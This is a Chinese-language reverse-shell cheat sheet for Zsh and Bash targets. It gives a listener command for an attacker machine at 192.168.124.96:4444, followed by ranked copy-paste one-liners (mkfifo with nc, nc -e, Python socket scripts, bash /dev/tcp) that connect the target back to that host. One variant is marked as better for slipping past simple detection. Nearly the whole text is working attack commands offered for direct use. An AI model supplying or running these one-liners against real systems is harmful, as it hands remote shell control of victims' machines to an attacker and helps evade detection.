场景假设
- 攻击机 IP:
192.168.124.96 - 监听端口:
4444 - 目标机可能默认是 Zsh
攻击机(Kali 或任意机器)先监听(只做一次)
ncat -lvnp 4444
# 或者用 nc 也行
nc -lvnp 4444
目标机上的操作(分两种 shell 情况)
情况1:你当前就是在 Zsh 下(最常见)
直接敲下面任意一条就行,按可靠性排序:
-
最推荐(mkfifo + nc,几乎 100% 成功)
rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.124.96 4444 > /tmp/f -
如果目标机装了 netcat traditional(有 -e 参数)
nc -e /bin/bash 192.168.124.96 4444 # 或者 nc 192.168.124.96 4444 -e /bin/bash -
如果有 Python3(几乎所有现代系统都有)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' -
如果有 Python(旧版语法)
python -c 'import socket,subprocess,os;s=socket.socket(2,1);s.connect(("192.168.124.96",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"]);'
情况2:你已经切换到 Bash 了,或者目标默认就是 Bash
那就可以直接用 Bash 独有的 /dev/tcp 神器了:
-
最简洁(推荐)
bash -i >& /dev/tcp/192.168.124.96/4444 0>&1 -
一行让 Zsh 直接调用 Bash 来执行(即使当前是 Zsh 也能用)
bash -c 'bash -i >& /dev/tcp/192.168.124.96/4444 0>&1' -
更隐蔽一点(推荐用于绕过一些简单检测)
exec 5<>/dev/tcp/192.168.124.96/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
快速判断当前是 Zsh 还是 Bash
echo $SHELL # 显示登录 shell(不一定就是当前)
echo $0 # 当前正在用的 shell(最准)
ps -p $$ # 看当前进程名
终极一键表(直接复制粘贴就行)
| 当前 Shell | 命令(直接复制) | 成功率 | 备注 |
|---|---|---|---|
| Zsh/Bash | rm /tmp/f 2>/dev/null; mkfifo /tmp/f; cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.124.96 4444 >/tmp/f | ★★★★★ | 最稳,几乎无条件成功 |
| Zsh/Bash | bash -c 'bash -i >& /dev/tcp/192.168.124.96/4444 0>&1' | ★★★★☆ | 需要 bash 支持 /dev/tcp |
| Zsh/Bash | nc 192.168.124.96 4444 -e /bin/bash | ★★★★☆ | 需要 nc 支持 -e(traditional) |
| Zsh/Bash | python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.124.96",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])' | ★★★★☆ | 需要 python3 |
总结一句话:
- 在 Zsh 里别指望
/dev/tcp,直接上 mkfifo + nc 那一行,几乎百发百中。 - 如果你能切到 Bash,或者用
bash -c强制调用 Bash,那/dev/tcp那一行最短最好看。